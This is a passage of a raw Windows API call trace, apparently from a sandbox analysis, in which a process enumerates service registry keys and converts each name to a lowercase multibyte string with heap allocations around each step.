cchWideChar=6, lpMultiByteStr=0x1da4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0032.715] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.715] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.715] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.715] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.715] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x2c, lpName=0x1d92850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0032.715] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0032.715] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x1da4408, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0032.715] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.715] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.715] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.715] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.715] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x2d, lpName=0x1d92850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0032.715] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0032.716] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x1da4450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0032.716] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.716] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.716] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.716] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.716] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x2e, lpName=0x1d92850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0032.716] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0032.716] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x1da4408, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0032.716] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.716] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.716] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.716] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.716] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x2f, lpName=0x1d92850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0032.716] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.716] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x1da4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0032.716] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.716] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.716] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.716] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.716] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x30, lpName=0x1d92850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0032.716] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.716] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x1da4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0032.716] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.716] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.716] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.717] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.717] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x31, lpName=0x1d92850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0032.717] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.717] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x1da4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0032.717] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.717] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.717] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.717] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.717] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x32, lpName=0x1d92850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0032.717] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.717] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x1da4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0032.717] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.717] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.717] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.717] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.717] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x33, lpName=0x1d92850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0032.717] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.717] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x1da4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0032.717] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.717] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.717] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.717] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.717] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x34, lpName=0x1d92850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0032.717] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.718] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x1da4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0032.718] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.723] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.723] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.724] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.724] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x35, lpName=0x1d92850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0032.724] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.724] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x1da4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0032.724] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.724] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.724] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.724] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.724] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x36, lpName=0x1d92850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0032.724] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.724] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x1da4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0032.724] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.724] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.724] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.724] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.724] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x37, lpName=0x1d92850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0032.724] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.724] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x1da4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0032.724] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.724] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.724] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.724] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.724] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x38, lpName=0x1d92850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0032.724] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.724] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x1da4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0032.725] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.725] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.725] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.725] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.725] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x39, lpName=0x1d92850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0032.725] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.725] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x1da4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0032.725] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.725] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.725] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.725] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.725] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x3a, lpName=0x1d92850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0032.725] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.725] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x1da4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0032.725] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.725] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.725] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.725] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.725] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x3b, lpName=0x1d92850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0032.725] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0032.725] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x1da4450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0032.725] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.725] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.725] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.725] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.725] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x3c, lpName=0x1d92850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0032.726] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0032.726] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4408 [0032.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x1da4408, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0032.726] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.726] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4408) returned 1 [0032.726] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da4450) returned 1 [0032.726] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1da5e18) returned 1 [0032.726] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x3d, lpName=0x1d92850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0032.726] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1da5e18 [0032.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.726] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1da4450 [0032.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x1da4450, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0032.726] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x3e, lpName=0x1d92850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0032.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x1da4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circlass", lpUsedDefaultChar=0x0) returned 8 [0032.726] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x3f, lpName=0x1d92850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0032.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0032.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x1da4450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clfs", lpUsedDefaultChar=0x0) returned 4 [0032.726] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x40, lpName=0x1d92850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0032.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0032.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x1da4408, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_32", lpUsedDefaultChar=0x0) returned 30 [0032.726] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x41, lpName=0x1d92850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0032.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0032.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x1da4450, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_64", lpUsedDefaultChar=0x0) returned 30 [0032.727] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x42, lpName=0x1d92850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0032.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 